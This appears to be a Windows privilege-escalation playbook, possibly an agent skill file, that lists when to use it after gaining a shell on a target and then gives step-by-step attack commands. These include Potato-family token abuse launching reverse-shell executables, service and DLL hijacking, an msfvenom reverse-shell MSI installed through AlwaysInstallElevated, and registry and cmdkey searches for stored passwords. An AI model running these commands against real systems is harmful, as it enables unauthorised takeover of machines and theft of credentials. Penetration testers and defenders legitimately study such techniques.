privesc-windows

Windows Privilege Escalation

When to Activate

• Gained initial shell on Windows target, need SYSTEM/Admin
• Post-exploitation privilege escalation
• Active Directory privilege escalation
• UAC bypass scenarios

Automated Enumeration

# WinPEAS
.\winPEASx64.exe

# Seatbelt
.\Seatbelt.exe -group=all

# SharpUp
.\SharpUp.exe audit

# PowerUp
. .\PowerUp.ps1; Invoke-AllChecks

Token Impersonation (SeImpersonatePrivilege)

# Check privileges
whoami /priv

# If SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege:
# Potato family exploits (NTLM relay to local SYSTEM)

# PrintSpoofer (Windows 10/Server 2016-2019)
PrintSpoofer.exe -i -c "cmd /c whoami"
PrintSpoofer.exe -c "C:\path\reverse_shell.exe"

# GodPotato (works on all Windows versions)
GodPotato.exe -cmd "cmd /c whoami"

# JuicyPotatoNG
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"

# SweetPotato
SweetPotato.exe -p C:\path\shell.exe

Service Exploitation

# Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"
# If path has spaces and no quotes: place binary at first space

# Weak service permissions
# Check with accesschk:
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
# If SERVICE_CHANGE_CONFIG:
sc config VulnService binpath= "C:\path\shell.exe"
sc stop VulnService && sc start VulnService

# Writable service binary
icacls "C:\Program Files\Service\binary.exe"
# If writable: replace with malicious binary, restart service

# DLL hijacking
# Process Monitor: filter for NAME NOT FOUND on DLL loads
# Place malicious DLL in searched path before legitimate one

Registry Exploits

# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1: msfvenom -p windows/x64/shell_reverse_tcp ... -f msi > shell.msi
msiexec /quiet /qn /i shell.msi

# AutoRun programs
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Check if any referenced binary is writable

# Stored credentials
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
cmdkey /list  # Stored Windows credentials